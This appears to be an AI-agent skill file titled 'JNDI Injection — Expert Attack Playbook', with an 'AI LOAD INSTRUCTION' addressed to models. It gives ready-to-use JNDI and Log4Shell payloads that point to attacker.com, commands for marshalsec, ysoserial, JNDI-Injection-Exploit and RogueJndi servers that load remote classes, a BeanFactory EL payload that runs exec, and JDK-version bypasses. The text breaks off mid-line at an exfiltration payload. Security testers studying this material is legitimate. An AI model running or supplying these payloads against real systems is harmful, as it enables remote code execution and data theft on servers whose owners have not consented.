$npx -y skills add Prohao42/aimy-skill --skill jndi-injection--- name: jndi-injection description: >- JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup(). ---
| 1 | # SKILL: JNDI Injection — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path) |
| 8 | - [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation |
| 9 | |
| 10 | --- |
| 11 | |
| 12 | ## 1. CORE MECHANISM |
| 13 | |
| 14 | JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA). |
| 15 | |
| 16 | **Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code. |
| 17 | |
| 18 | ```java |
| 19 | // Vulnerable code pattern: |
| 20 | String name = request.getParameter("resource"); |
| 21 | Context ctx = new InitialContext(); |
| 22 | Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit" |
| 23 | ``` |
| 24 | |
| 25 | --- |
| 26 | |
| 27 | ## 2. ATTACK VECTORS |
| 28 | |
| 29 | ### RMI (Remote Method Invocation) |
| 30 | |
| 31 | ``` |
| 32 | rmi://attacker.com:1099/Exploit |
| 33 | ``` |
| 34 | |
| 35 | Attacker runs an RMI server returning a `Reference` object pointing to a remote class: |
| 36 | ```java |
| 37 | // Attacker's RMI server returns: |
| 38 | Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/"); |
| 39 | // JVM downloads http://attacker.com/Exploit.class and instantiates it |
| 40 | ``` |
| 41 | |
| 42 | ### LDAP |
| 43 | |
| 44 | ``` |
| 45 | ldap://attacker.com:1389/cn=Exploit |
| 46 | ``` |
| 47 | |
| 48 | Attacker runs an LDAP server returning entries with `javaCodeBase`, `javaFactory`, or serialized object attributes. |
| 49 | |
| 50 | LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI). |
| 51 | |
| 52 | ### DNS (detection only) |
| 53 | |
| 54 | ``` |
| 55 | dns://attacker-dns-server/lookup-name |
| 56 | ``` |
| 57 | |
| 58 | Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS. |
| 59 | |
| 60 | --- |
| 61 | |
| 62 | ## 3. JDK VERSION CONSTRAINTS AND BYPASS |
| 63 | |
| 64 | | JDK Version | RMI Remote Class | LDAP Remote Class | Bypass | |
| 65 | |---|---|---|---| |
| 66 | | < 8u121 | YES | YES | Direct class loading | |
| 67 | | 8u121 – 8u190 | NO (`trustURLCodebase=false`) | YES | Use LDAP vector | |
| 68 | | >= 8u191 | NO | NO | Return serialized gadget object via LDAP | |
| 69 | | >= 8u191 (alternative) | NO | NO | `BeanFactory` + EL injection | |
| 70 | |
| 71 | ### Post-8u191 Bypass: LDAP → Serialized Gadget |
| 72 | |
| 73 | Instead of returning a remote class URL, the attacker's LDAP server returns a **serialized Java object** in the `javaSerializedData` attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved. |
| 74 | |
| 75 | ```bash |
| 76 | # ysoserial JRMPListener approach: |
| 77 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id" |
| 78 | # Then JNDI lookup points to: rmi://attacker:1099/whatever |
| 79 | ``` |
| 80 | |
| 81 | ### Post-8u191 Bypass: BeanFactory + EL |
| 82 | |
| 83 | When Tomcat's `BeanFactory` is on the classpath, the LDAP response can reference it as a factory with EL expressions: |
| 84 | |
| 85 | ``` |
| 86 | javaClassName: javax.el.ELProcessor |
| 87 | javaFactory: org.apache.naming.factory.BeanFactory |
| 88 | forceString: x=eval |
| 89 | x: Runtime.getRuntime().exec("id") |
| 90 | ``` |
| 91 | |
| 92 | --- |
| 93 | |
| 94 | ## 4. TOOLING |
| 95 | |
| 96 | ### marshalsec — JNDI Reference Server |
| 97 | |
| 98 | ```bash |
| 99 | # Start LDAP server serving a remote class: |
| 100 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389 |
| 101 | |
| 102 | # Start RMI server: |
| 103 | java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099 |
| 104 | |
| 105 | # The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class |
| 106 | ``` |
| 107 | |
| 108 | ### JNDI-Injection-Exploit (all-in-one) |
| 109 | |
| 110 | ```bash |
| 111 | java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip |
| 112 | # Automatically starts RMI + LDAP servers with multiple bypass strategies |
| 113 | ``` |
| 114 | |
| 115 | ### Rogue JNDI |
| 116 | |
| 117 | ```bash |
| 118 | java -jar RogueJndi.jar --command "id" --hostname attacker.com |
| 119 | # Provides RMI, LDAP, and HTTP servers with auto-generated payloads |
| 120 | ``` |
| 121 | |
| 122 | --- |
| 123 | |
| 124 | ## 5. LOG4J2 — CVE-2021-44228 (LOG4SHELL) |
| 125 | |
| 126 | ### Mechanism |
| 127 | |
| 128 | Log4j2 supports **Lookups** — expressions like `${...}` that are evaluated in log messages. The `jndi` lookup triggers `InitialContext.lookup()`: |
| 129 | |
| 130 | ``` |
| 131 | ${jndi:ldap://attacker.com/x} |
| 132 | ``` |
| 133 | |
| 134 | **Any logged string** containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages. |
| 135 | |
| 136 | ### Detection Payloads |
| 137 | |
| 138 | ```text |
| 139 | ${jndi:ldap://TOKEN.collab.net/a} |
| 140 | ${jndi:dns://TOKEN.collab.net} |
| 141 | ${jndi:rmi://TOKEN.collab.net/a} |
| 142 | |
| 143 | # Exfiltrate environment info via DNS: |
| 144 | ${jndi:ldap:// |